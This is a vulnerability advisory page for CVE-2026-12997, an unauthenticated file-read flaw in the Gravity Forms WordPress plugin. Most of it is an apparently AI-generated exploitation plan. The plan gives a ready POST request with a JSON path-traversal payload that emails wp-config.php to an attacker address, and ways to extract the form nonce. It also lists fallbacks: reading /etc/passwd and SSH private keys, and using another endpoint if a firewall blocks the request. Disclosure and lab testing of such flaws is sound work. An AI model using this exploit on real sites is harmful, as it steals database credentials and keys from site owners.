CVE-2026-12997

Gravity Forms <= 2.10.4 - Unauthenticated Arbitrary File Read via 'gform_uploaded_files' Parameter

highImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
2.10.5
Patched in
0d
Time to patch

Description

The Gravity Forms plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.10.4 via the 'gform_uploaded_files' parameter parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. Exploitation requires the targeted form to not enforce login (so publicly accessible), which allows the unauthenticated attacker to reach the process_send_resume_link endpoint and supply an arbitrary recipient email address to receive the traversal-retrieved file as a notification attachment.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.10.4
PublishedJuly 15, 2026
Last updatedJuly 15, 2026
Affected plugingravityforms
Research Plan
Unverified

This research plan outlines the technical steps to analyze and exploit **CVE-2026-12997**, an unauthenticated arbitrary file read vulnerability in Gravity Forms. ## 1. Vulnerability Summary **CVE-2026-12997** is a path traversal vulnerability in Gravity Forms (<= 2.10.4). The flaw resides in the pr…

Show full research plan

This research plan outlines the technical steps to analyze and exploit CVE-2026-12997, an unauthenticated arbitrary file read vulnerability in Gravity Forms.

1. Vulnerability Summary

CVE-2026-12997 is a path traversal vulnerability in Gravity Forms (<= 2.10.4). The flaw resides in the processing of the gform_uploaded_files parameter within the "Save and Continue" (resume link) functionality. The plugin fails to validate that files listed in this parameter are restricted to the designated temporary upload directory. An unauthenticated attacker can provide a JSON-encoded path traversal string (e.g., ../../../../wp-config.php), causing the server to attach the contents of that sensitive file to an email sent to an attacker-controlled address.

2. Attack Vector Analysis

  • Endpoint: The process_send_resume_link method is typically triggered via a POST request to a page containing a Gravity Form that has "Save and Continue" enabled.
  • Vulnerable Parameter: gform_uploaded_files.
  • Authentication: Unauthenticated.
  • Preconditions:
    1. A Gravity Form must be active and publicly accessible.
    2. The "Save and Continue" feature must be enabled for that form.
    3. The form must be configured to allow "Email Resume Link" (the feature that sends the email).

3. Code Flow (Inferred from Patch and Description)

  1. Entry Point: An attacker submits a POST request to a form page with the parameter gform_send_resume_link (or similar) set.
  2. Handler: The plugin hits the process_send_resume_link logic (likely in GFFormDisplay::process_send_resume_link or GFCommon).
  3. Parsing: The code retrieves $_POST['gform_uploaded_files']. This parameter is expected to be a JSON-encoded object where keys are input IDs and values are arrays of filenames.
  4. File Processing: The plugin iterates through the files listed in gform_uploaded_files to include them in the resumed session data or as attachments for the notification email.
  5. Sink: The plugin constructs a file path by concatenating the Gravity Forms upload directory with the provided filename. Due to lack of sanitization, a value like ../../../../wp-config.php resolves to the site's root directory.
  6. Email Dispatch: The wp_mail function is called, attaching the file located at the traversed path to the email sent to the address provided in the gform_resume_email parameter.

4. Nonce Acquisition Strategy

Gravity Forms often uses a frontend nonce for form submissions, including the "Save and Continue" feature.

  1. Identify Shortcode: The primary shortcode is [gravityform id="FORM_ID" title="true" description="true"].
  2. Setup: Create a page with this shortcode using WP-CLI.
  3. Extraction:
    • Navigate to the page.
    • The nonce is typically found in the gform_params localized JS object or a hidden input field.
    • Browser Eval: browser_eval("window.gform_theme_config?.common?.form_nounce_key") (Note: Check actual key in source; Gravity Forms often uses gform_ajax_nonce or specific form nonces).
    • Fallback: Search the HTML for <input type="hidden" name="ak_js" value="..." or other gform_ prefixed hidden inputs.

5. Exploitation Strategy

Step 1: Discover Form Details

Identify a valid Form ID and the necessary field names.

  • is_submit_FORMID: Set to 1.
  • gform_submit: The Form ID.
  • gform_resume_email: The attacker's email address to receive the file.

Step 2: Craft the Traversal Payload

The gform_uploaded_files parameter must be a JSON-encoded string.

  • Payload: {"1":["../../../../wp-config.php"]} (Assuming '1' is a valid input ID).
  • URL Encoded: %7B%221%22%3A%5B%22..%2F..%2F..%2F..%2Fwp-config.php%22%5D%7D

Step 3: Send the HTTP Request

Use the http_request tool to trigger the resume link email.

POST /target-page/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

is_submit_1=1&
gform_submit=1&
gform_send_resume_link=1&
gform_resume_email=attacker@example.com&
gform_uploaded_files={"1":["../../../../wp-config.php"]}&
gform_target_page_number_1=0&
gform_source_page_number_1=1

6. Test Data Setup

  1. Install Plugin: Ensure Gravity Forms <= 2.10.4 is installed.
  2. Create Form:
    # (Manual step or via script) Create a simple form (ID 1)
    # Enable "Save and Continue" in Form Settings -> General
    
  3. Create Page:
    wp post create --post_type=page --post_title="Contact" --post_status=publish --post_content='[gravityform id="1" title="false" description="false" ajax="true"]'
    
  4. Configure Mail: Ensure the test environment can "catch" outgoing emails (e.g., using MailHog or checking the wp-content/debug.log if a mail logger is active).

7. Expected Results

  • The server responds with a 200 OK and a message indicating the resume link has been sent.
  • An email is dispatched to attacker@example.com.
  • The email contains an attachment named wp-config.php (or the contents of wp-config.php are leaked in the email body depending on how the plugin handles the "resumed" file data).

8. Verification Steps

  1. Check Mail Log: If using a mail catcher, verify the arrival of the email and the attachment.
  2. File Content Validation: Confirm the attachment contains the string DB_NAME or DB_PASSWORD.
  3. Server Logs: Monitor for PHP warnings related to file_get_contents or mime_content_type if the traversal fails to find the file.

9. Alternative Approaches

  • Different Files: If wp-config.php is restricted, attempt to read /etc/passwd or ~/.ssh/id_rsa.
  • JSON Structure Variations: The structure of gform_uploaded_files changed slightly in version 2.x. If the primary payload fails, try the older format: {"input_1":"..%2F..%2Fwp-config.php"} (not as an array).
  • AJAX Endpoint: Attempt the same payload via admin-ajax.php with action=gform_send_resume_link if the frontend form submission is blocked by WAF.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Gravity Forms plugin (<= 2.10.4) is vulnerable to unauthenticated arbitrary file read via path traversal in the 'gform_uploaded_files' parameter. An attacker can exploit the 'Save and Continue' functionality to cause the server to attach sensitive system files to a notification email sent to an attacker-controlled address.

Exploit Outline

The attack targets the 'Save and Continue' functionality of a publicly accessible Gravity Form. An unauthenticated attacker submits a POST request to the form page including the 'gform_send_resume_link' flag, a recipient email address, and a JSON-encoded payload in the 'gform_uploaded_files' parameter containing path traversal sequences (e.g., pointing to sensitive files like wp-config.php). The plugin processes these filenames without sanitization, concatenating them with the upload directory path and attaching the resulting file content to the resume link email.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.